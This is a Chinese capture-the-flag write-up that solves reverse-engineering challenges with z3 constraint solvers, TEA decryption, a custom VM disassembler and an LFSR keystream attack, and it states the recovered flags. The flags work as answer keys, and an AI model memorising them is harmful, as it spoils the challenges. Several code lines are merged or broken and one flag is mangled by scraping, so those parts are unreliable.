v9 = 15645 * flag[13] + 276267 * flag[12] + 31190 * flag[5] - 244002 * flag[2] + 81415 * flag[3] - 22940 * flag[10] - 126076 * flag[7] + 8932 * flag[8] + 112153 * flag[4] + 194218 * flag[11] + 197656 * flag[9] - 204463 * flag[0] - 219500 * flag[1] + 19777 * flag[6] - 24531260
s.add(v9==0)
v10 = 279969 * flag[8]- 123977 * flag[4]+ 162094 * flag[0]- 215769 * flag[1]- 18878 * flag[14]- 80292 * flag[11]- 237675 * flag[5]- 222121 * flag[6]+ 269381 * flag[12]+ 153934 * flag[13]- 165380 * flag[10]- 157137 * flag[2]- 186748 * flag[3]+ 170756 * flag[7]- 186932 * flag[9]+ 87264470
s.add(v10==0)
v11 = -87190 * flag[2]- 74836 * flag[1]+ 16892 * flag[9]- 185781 * flag[8]- 12726 * flag[7]+ 85022 * flag[12]+ 232989 * flag[10]+ 68516 * flag[0]- 120254 * flag[6]- 204892 * flag[5]- 65901 * flag[4]- 201087 * flag[13]+ 158612 * flag[11]- 49445 * flag[3]- 181860 * flag[14]- 111015 * flag[15]+ 43646834
s.add(v11==0)
v12 = -170184 * flag[3] - 137671 * flag[4] - 85374 * flag[9] - 73658 * flag[11] + 230891 * flag[13] + 54346 * flag[15] - 280694 * flag[0] + 60411 * flag[2] + 27171 * flag[7] - 50618 * flag[6] + 11843 * flag[10] + 131778 * flag[5] + 13956 * flag[8] - 42562 * flag[12] - 19972 * flag[1] - 145797 * flag[14] - 58717 * flag[16] + 74613584
s.add(v12==0)
v13 = 242475 * flag[16]- 234385 * flag[0]+ 124653 * flag[2]- 287929 * flag[13]- 190916 * flag[12]- 277578 * flag[11]+ 39 * flag[8]- 41625 * flag[6]+ 67262 * flag[5]- 250144 * flag[9]- 70886 * flag[10]- 223492 * flag[15]- 179651 * flag[7]+ 206538 * flag[17]+ 161965 * flag[3]- 146258 * flag[4]+ 167068 * flag[1]+ 196330 * flag[14]+ 76353817
s.add(v13==0)
v14 = 29700 * flag[18]- 60542 * flag[5]+ 274107 * flag[11]+ 154914 * flag[13]- 143185 * flag[12]+ 167424 * flag[2]+ 137439 * flag[8]- 186151 * flag[10]- 77157 * flag[9]- 233090 * flag[6]- 27400 * flag[7]- 76557 * flag[15]- 108002 * flag[17]+ 103161 * flag[14]- 133956 * flag[1]- 219502 * flag[4]- 202897 * flag[0]- 250957 * flag[3]- 119297 * flag[16]+ 100812197
s.add(v14==0)
v15 = -171971 * flag[9]+ 38740 * flag[4]+ -31661 * flag[10]+ -194653 * flag[18]+ -295910 * flag[16]+ 136489 * flag[12]+ 212619 * flag[17]+ 165592 * flag[11]+ 211791 * flag[1]+ 156909 * flag[2]+ -232187 * flag[8]+ -73709 * flag[7]+ 79735 * flag[14]+ 184882 * flag[13]+ 111105 * flag[6]+ 148840 * flag[3]+ -35774 * flag[19]+ -275711 * flag[0] + 135265 * flag[5] - 141221 * flag[15] - 39117122
s.add(v15==0)
v16 = -186514 * flag[17]+ -7791 * flag[2]+ 276755 * flag[11]+ -294815 * flag[14]+ -238763 * flag[15]+ -146099 * flag[5]+ 184977 * flag[16]+ 178413 * flag[1]+ 287303 * flag[3]+ -71946 * flag[10]+ -73771 * flag[9]+ -129032 * flag[18]+ 200202 * flag[20]+ -150509 * flag[6]+ -156625 * flag[13]+ 14093 * flag[7]+ 192584 * flag[12]- 122770 * flag[0]- 255494 * flag[8] + 65 * flag[4] - 108479 * flag[19] + 13521895
s.add(v16==0)
v17 = 210978 * flag[7]+ 300336 * flag[10]+ 207254 * flag[15]+ 216206 * flag[5]+ -63529 * flag[0]+ -274903 * flag[11]+ -10750 * flag[14]+ 25008 * flag[4]+ -100942 * flag[19]+ -104857 * flag[2]+ 266501 * flag[8]+ 229070 * flag[17]+ -234559 * flag[16]+ 298459 * flag[3]+ -172052 * flag[6]+ -98938 * flag[12]+ 66155 * flag[13]+ -84761 * flag[1]+ -283508 * flag[18]+ 288577 * flag[21] - 75407 * flag[20] - 204447 * flag[9] + 4351595
s.add(v17==0)
v18 = -201846 * flag[14]+ 272550 * flag[20]+ 60398 * flag[6]+ 45580 * flag[7]+ 195108 * flag[11]+ 38596 * flag[0]+ 220445 * flag[18]+ -190873 * flag[15]+ 103477 * flag[9]+ 118842 * flag[19]+ 206336 * flag[10]+ -249940 * flag[17]+ -48084 * flag[21]+ 104901 * flag[5]+ -48576 * flag[4]+ 287104 * flag[16]+ -286686 * flag[1]+ -30253 * flag[22]+ 121183 * flag[3]+ 90967 * flag[2]+ -195519 * flag[12] - 129304 * flag[8] + 141188 * flag[13] - 56642147
s.add(v18==0)
v19 = 110609 * flag[4]+ 5913 * flag[21]+ -197578 * flag[7]+ 45127 * flag[18]+ 282426 * flag[13]+ -71019 * flag[16]+ -6980 * flag[11]+ 208216 * flag[15]+ -13544 * flag[20]+ 17852 * flag[8]+ 167833 * flag[12]+ 145568 * flag[17]+ 3610 * flag[19]+ 91985 * flag[1]+ -267402 * flag[5]+ -32355 * flag[14]+ -197823 * flag[23]+ 135525 * flag[2]+ -229424 * flag[22]+ 38093 * flag[10]+ 50167 * flag[6]+ 118713 * flag[9] + 123874 * flag[0] - 89499 * flag[3] - 43090537
s.add(v19==0)
v1 = -164755 * flag[9] + 175470 * flag[8] - 28660 * flag[1] + 7217 * flag[11] - 295102 * flag[4] - 28531 * flag[19] - 106265 * flag[25] - 92750 * flag[10] + 16738 * flag[21] - 231714 * flag[6] + 172042 * flag[24] - 215890 * flag[17] + 199697 * flag[12] - 84235 * flag[7] + 44614 * flag[13] + 75104 * flag[5] - 195843 * flag[0] - 15784 * flag[14] - 131950 * flag[15] - 268167 * flag[16] - 197565 * flag[20] + 24340 * flag[23] + 105130 * flag[2] - 79750 * flag[22] - 264668 * flag[3] + 50329 * flag[18] + 137774797
s.add(v1==0)
v20 = 62119 * flag[17]- 17215 * flag[24]+ 289621 * flag[18]+ 53006 * flag[20]+ 95969 * flag[11]+ 202404 * flag[0]+ 247060 * flag[21]+ 144211 * flag[19]+ 280106 * flag[7]- 126431 * flag[10]- 226837 * flag[12]+ 10463 * flag[23]+ 121257 * flag[13]- 84190 * flag[9]+ 88917 * flag[1]+ 15453 * flag[14]+ 271442 * flag[4]+ 110851 * flag[3]- 231422 * flag[5]+ 176741 * flag[22]+ 266134 * flag[2]- 197327 * flag[6]- 55225 * flag[8] - 265465 * flag[15] + 119612 * flag[16] - 98514358
s.add(v20==0)
v2 = 151924 * flag[25] - 265311 * flag[6] + 107604 * flag[11] - 47851 * flag[24] + 227178 * flag[13] - 162699 * flag[2] + 2171 * flag[20] + 211070 * flag[23] + 94815 * flag[22] + 124760 * flag[16] + 41462 * flag[19] - 277022 * flag[15] - 62501 * flag[26] - 17727 * flag[14] - 257908 * flag[4] - 175112 * flag[21] + 8972 * flag[10] - 71801 * flag[8] - 114724 * flag[5] - 252898 * flag[9] + 161457 * flag[1] - 64461 * flag[0] - 111493 * flag[18] + 200145 * flag[17] - 290075 * flag[3] + 158466 * flag[12]
v21 = v2 - 275262 * flag[7] + 86899519
s.add(v21==0)
v3 = 142850 * flag[18]- 166704 * flag[1]+ 284852 * flag[22]+ 248972 * flag[7]- 76200 * flag[17]+ 261708 * flag[19]+ 91911 * flag[24]+ 22347 * flag[3]+ 76006 * flag[21]+ 256511 * flag[6]- 100052 * flag[14]- 115830 * flag[2]- 93202 * flag[23]+ 248858 * flag[12]- 262669 * flag[10]+ 67895 * flag[5]- 111771 * flag[8]- 132193 * flag[11]- 141512 * flag[13]+ 139406 * flag[27]+ 109646 * flag[16]- 286309 * flag[9]+ 175476 * flag[15] + 138067 * flag[20] + 192825 * flag[25]
s.add(flag[0] == 102)
s.add(flag[1] == 108)
s.add(flag[2] == 97)
s.add(flag[3] == 103)
s.add(flag[4] == 123)
s.add(flag[27] == 125)
s.add(199577 * flag[0] - 63091 * flag[4] + v3 - 285207 * flag[26] - 58820340 + v21 == 0)
print(s.check())
print(s.model())
mod = s.model()
print(''.join([chr(mod[x].as_long()) for x in flag]))
解出来为 flag{U_90t_th3_8451c_53cre7}
#include <stdio.h>
#include <stdint.h>//加密函数
void encrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
} /* end cycle */
v[0] = v0; v[1] = v1;
}
//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0xC6EF3720, i; /* set up */
uint32_t delta = 0x9e3779b9; /* a key schedule constant */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
} /* end cycle */
v[0] = v0; v[1] = v1;
}
int main()
{
//{0x5585A199, 0x7E825D68, 0x944D0039, 0x71726943, 0x6A514306, 0x4B14AD00, 0x64D20D3F, 0x9F37DB15};
uint32_t v[2] = { 0x5D94AA84, 0x14FA24A0 }, k[4] = { 0x33323130, 0x37363534, 0x62613938 ,0x66656463 };
uint32_t v1[2] = { 0x2B560210, 0xB69BDD49 };
uint32_t v2[2] = { 0xAAEFEAD4, 0x4B8CF4C6 };
uint32_t v3[2] = { 0x97FB8C9, 0xB5EC51D2 };
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
//加密示例
// encrypt(v, k);
// printf("加密后的数据:%x %x\n",v[0],v[1]);
decrypt(v, k);
decrypt(v1, k);
decrypt(v2, k);
decrypt(v3, k);
printf("解密后的数据:%x %x %x %x %x %x %x %x\n", v[0], v[1], v1[0], v1[1], v2[0], v2[1], v3[0], v3[1]);
return 0;
}
from pwn import *
f = open('./machine.cfg', 'rb')
d = f.read()
f.close()vpc = 0
def get_byte():
global d, vpc
ret = d[vpc]
vpc += 1
return ret
def get_dword():
global d, vpc
ret = u32(d[vpc:vpc+4])
vpc += 4
return ret
def get_next_vpc():
global vpc
if vpc == 0xbd4:
vpc = 0xbe0
if vpc == 0xbf1:
vpc = 0xbfd
if vpc == 0xc20:
vpc = 0xc28
if vpc == 0xbaa:
vpc = 0xbb5
if vpc == 0x5bb:
vpc = 0x5ce
if vpc == 0xc54:
vpc = 0xc61
if vpc == 0xc6c:
vpc = 0xc78
if vpc == 0xad0:
vpc = 0xadf
if vpc == 0xafa:
vpc = 0xb04
if vpc == 0xb24:
vpc = 0xb2a
if vpc == 0xb4c:
vpc = 0xb58
if vpc == 0xb79:
vpc = 0xb8c
if vpc == 0x91:
vpc = 0x99
if vpc == 0xc6:
vpc = 0xcf
if vpc == 0xfb:
vpc = 0x105
if vpc == 0x163:
vpc = 0x16b
if vpc == 0x182:
vpc = 0x18f
if vpc == 0x349:
vpc = 0x354
if vpc == 0x3d9:
vpc = 0x3e0
if vpc == 0x7ed:
vpc = 0x7f9
if vpc == 0x5f5:
vpc = 0x601
if vpc == 0x613:
vpc = 0x625
if vpc == 0x1e1:
vpc = 0x1e9
if vpc == 0x4f5:
vpc = 0x503
if vpc == 0x522:
vpc = 0x534
if vpc == 0x54b:
vpc = 0x557
if vpc == 0x571:
vpc = 0x585
if vpc == 0x649:
vpc = 0x65c
if vpc == 0x694:
vpc = 0x6a3
if vpc == 0x6b4:
vpc = 0x6c8
if vpc == 0x6e3:
vpc = 0x6ed
if vpc == 0x71b:
vpc = 0x72d
if vpc == 0x776:
vpc = 0x784
if vpc == 0x7a5:
vpc = 0x7ac
if vpc == 0x7c9:
vpc = 0x7d6
if vpc == 0x832:
vpc = 0x83b
if vpc == 0x864:
vpc = 0x86f
if vpc == 0x8a8:
vpc = 0x8b9
if vpc == 0x222:
vpc = 0x236
if vpc == 0x24d:
vpc = 0x25a
if vpc == 0x28b:
vpc = 0x29d
if vpc == 0x2ce:
vpc = 0x2e0
if vpc == 0x1b3:
vpc = 0x1bc
if vpc == 0x30c:
vpc = 0x31f
if vpc == 0x416:
vpc = 0x429
if vpc == 0x456:
vpc = 0x461
if vpc == 0x47b:
vpc = 0x48b
if vpc == 0x4bd:
vpc = 0x4cb
if vpc == 0x8e1:
vpc = 0x8f4
if vpc == 0x915:
vpc = 0x925
if vpc == 0x944:
vpc = 0x954
if vpc == 0x97a:
vpc = 0x98d
if vpc == 0x9b5:
vpc = 0x9be
if vpc == 0x9db:
vpc = 0x9ee
if vpc == 0x9fb:
vpc = 0xa05
if vpc == 0xa19:
vpc = 0xa2b
if vpc == 0xa48:
vpc = 0xa4e
if vpc == 0xa55:
vpc = 0xa6a
if vpc == 0xa88:
vpc = 0xa8f
if vpc == 0xab9:
vpc = 0xac6
if vpc == 0xc90:
vpc = 0xc9d
if vpc == 0xcb5:
vpc = 0xcc9
if vpc == 0xce4:
vpc = 0xcf6
if vpc == 0xd1e:
vpc = 0xd25
if vpc == 0xd47:
vpc = 0xd58
def dis_one_fun(pc, end_pc=None):
print ('void fun_%x(){' %pc)
global vpc
vpc = pc
while True:
if end_pc:
if vpc >= end_pc:
break
get_next_vpc()
pc = vpc
opcode = get_byte()
opsize = (opcode>>6)&3
opcode = opcode&0x3f
if opcode == 0x13:
r1 = get_byte()
if opsize == 0:
r2 = get_byte()
print ('label_%x: r%d=r%d;' %(pc, r1, r2))
else:
imm = get_dword()
print ('label_%x: r%d=0x%x;' %(pc, r1, imm))
elif opcode == 0xc:
r1 = get_byte()
if opsize == 0:
r2 = get_byte()
print ('label_%x: r%d-=r%d;' %(pc, r1, r2))
else:
imm = get_dword()
print ('label_%x: r%d-=0x%x;' %(pc, r1, imm))
elif opcode == 0x17:
r1 = get_byte()
if opsize == 0:
r2 = get_byte()
print('label_%x: r%d+=r%d;' % (pc, r1, r2))
else:
imm = get_dword()
print('label_%x: r%d+=0x%x;' % (pc, r1, imm))
elif opcode == 0:
r1 = get_byte()
print('label_%x: push(r%d);' % (pc, r1))
elif opcode == 0x15:
r1 = get_byte()
print('label_%x: r%d += 1;' % (pc, r1))
elif opcode == 0x14:
r1 = get_byte()
print('label_%x: r%d -= 1;' % (pc, r1))
elif opcode == 0x10:
imm = get_dword()
if opsize == 0:
print('label_%x: goto label_%x;' % (pc, imm))
elif opsize == 1:
print('label_%x: if(r13 == 0) goto label_%x;' % (pc, imm))
elif opsize == 2:
print('label_%x: if(r13 != 0) goto label_%x;' % (pc, imm))
elif opsize == 3:
print('label_%x: if(r13 < 0) goto label_%x;' % (pc, imm))
elif opcode == 0xb:
r1 = get_byte()
if opsize == 0:
print('label_%x: goto r%d;' % (pc, r1))
elif opsize == 1:
print('label_%x: if(r13 == 0) goto r%d;' % (pc, r1))
elif opsize == 2:
print('label_%x: if(r13 != 0) goto r%d;' % (pc, r1))
elif opsize == 3:
print('label_%x: if(r13 < 0) goto r%d;' % (pc, r1))
elif opcode == 0x7:
if opsize == 0:
r1 = get_byte()
print('label_%x: call r%d;' % (pc, r1))
else:
imm = get_dword()
print('label_%x: fun_%x();' % (pc, imm))
elif opcode == 0xe:
r1 = get_byte()
r2 = get_byte()
print('label_%x: r13 = r%d & r%d;' % (pc, r1, r2))
elif opcode == 5:
r1 = get_byte()
if opsize == 0:
r2 = get_byte()
print('label_%x: r13 = r%d - r%d;' % (pc, r1, r2))
else:
imm = get_dword()
print('label_%x: r13 = r%d - 0x%x;' % (pc, r1, imm))
elif opcode == 0x11:
r1 = get_byte()
if opsize == 0:
r2 = get_byte()
print('label_%x: r%d^=r%d;' % (pc, r1, r2))
else:
imm = get_dword()
print('label_%x: r%d^=0x%x;' % (pc, r1, imm))
elif opcode == 1:
r1 = get_byte()
if opsize == 0:
r2 = get_byte()
print('label_%x: r%d |=r%d;' % (pc, r1, r2))
else:
imm = get_dword()
print('label_%x: r%d |=0x%x;' % (pc, r1, imm))
elif opcode == 0x12:
r1 = get_byte()
r2 = get_byte()
if opsize == 0:
print('label_%x: r%d=*(unsigned char*)&mem[r%d];' % (pc, r1, r2))
elif opsize == 1:
print('label_%x: r%d=*(unsigned short*)&mem[r%d];' % (pc, r1, r2))
elif opsize == 2:
print('label_%x: r%d=*(unsigned int*)&mem[r%d];' % (pc, r1, r2))
elif opcode == 3:
r1 = get_byte()
print('label_%x: r%d = pop();' % (pc, r1))
elif opcode == 0xa:
print('label_%x: return;' % (pc))
if end_pc is None:
break
elif opcode == 9:
r1 = get_byte()
if opsize == 0:
print ('label_%x: putchar(r%d);' %(pc, r1))
elif opsize == 1:
print('label_%x: printf("%%d", r%d);' % (pc, r1))
elif opsize == 2:
print('label_%x: printf("%%08x", r%d);' % (pc, r1))
elif opsize == 3:
print('label_%x: putchar(mem[r%d]);' % (pc, r1))
elif opcode == 2:
r1 = get_byte()
if opsize == 0:
print('label_%x: scanf("%%x", &r%d);' % (pc, r1))
elif opsize == 1:
print('label_%x: scanf("%%d", &r%d);' % (pc, r1))
elif opsize == 2:
print('label_%x: scanf("%%x", &r%d);' % (pc, r1))
elif opsize == 3:
print('label_%x: scanf("%%c", &mem[r%d]);' % (pc, r1))
elif opcode == 6:
r1 = get_byte()
r2 = get_byte()
print ('label_%x: mem[r%d]=r%d;' %(pc, r1, r2))
elif opcode == 4:
pass
elif opcode == 0x16:
print ('label_%x: exit(0);' %pc)
break
else:
print ('op=%x, pc=%x' %(opcode, vpc-1))
print (hex(len(d)))
raise 0
print ('}')
print ('#include <stdio.h>')
print ('#include <stdlib.h>')
for i in range(14):
print ('unsigned int r%d = 0;' %i)
print ('unsigned char mem[0x6000];')
print ('''void push(unsigned int r1){
r12 -= 4;
*(unsigned int*)&mem[r12] = r1;
}unsigned int pop()
{
unsigned int ret = *(unsigned int*)&mem[r12];
r12 += 4;
return ret;
}
'
'')
funs = [0, 0xb3, 0x192, 0x339, 0x406, 0x5d6, 0x62b, 0x6f8, 0x746, 0x785, 0x7d7, 0x7e5, 0x811, 0x844, 0xc8b, 0xd71, 0xd91, 0xc39, 0x4dd, 0xb92]
for fun in funs:
print ('void fun_%x();' %fun)
dis_one_fun(0)
dis_one_fun(0xb3)
dis_one_fun(0x192, 0x339)
dis_one_fun(0x339)
dis_one_fun(0x406)
dis_one_fun(0x5d6)
dis_one_fun(0x62b)
dis_one_fun(0x6f8)
dis_one_fun(0x746)
dis_one_fun(0x785)
dis_one_fun(0x7d7)
dis_one_fun(0x7e5)
dis_one_fun(0x811, 0x844)
dis_one_fun(0x844)
dis_one_fun(0xc8b)
dis_one_fun(0xd71, 0xd91)
dis_one_fun(0xd91)
dis_one_fun(0xc39)
dis_one_fun(0x4dd)
dis_one_fun(0xb92)
print('''
void main(){
FILE * fp = fopen("./machine.cfg", "rb");
fread(mem, 0x4534, 1, fp);
fclose(fp);
fun_0();
}''')
逆向分析 vm 逻辑,解出 flag{I_f1nd_th3_r34l_s3cr3t}
dump 出来发现是一个 .net 程序 打开发现 check 的代码很清晰
下面是解密脚本:
from z3 import *
flag = [BitVec('x%d' % i, 64) for i in range(3)]
s = Solver()num = 0
first = [101,5, 80, 213,163,26, 59, 38, 19, 6,173,189,198,166,140,183,42,247,223,24,106,20, 145,37, 24, 7, 22, 191,110,179,227,5,62,9,13,17,65,22, 37, 5]
KeyStream = [0 for i in range(40)]
for i in range(0,320):
flag[0] = (((flag[0] >> 29 ^ flag[0] >> 28 ^ flag[0] >> 25 ^ flag[0] >> 23) & 1) | flag[0] << 1)
flag[1] = (((flag[1] >> 30 ^ flag[1] >> 27) & 1) | flag[1] << 1)
flag[2] = (((flag[2] >> 31 ^ flag[2] >> 30 ^ flag[2] >> 29 ^ flag[2] >> 28 ^ flag[2] >> 26 ^ flag[2] >> 24) & 1) | flag[2] << 1)
KeyStream[num] = (KeyStream[num] << 1) | ((flag[2] >> 32 & 1 & (flag[0] >> 30 & 1)) ^ (((flag[2] >> 32 & 1) ^ 1) & (flag[1] >> 31 & 1)))
if (i+1) % 8 == 0:
s.add(first[num] == KeyStream[num])
# print(KeyStream[num])
num += 1
print(s.check())
print(s.model())
[ x0 = 156324965, x1 = 868387187, x2 = 3131229747]
array = [156324965, 868387187, 3131229747]
key = [0 for i in range(12)]
for i in range(3):
for j in range(4):
key[4*i+j] = array[i] >> j * 8 & 255
s = [60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]
for i in range(len(s)):
print(s[i]^key[i%len(key)],end='')
# [email protected]_G3meM3s7er!
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新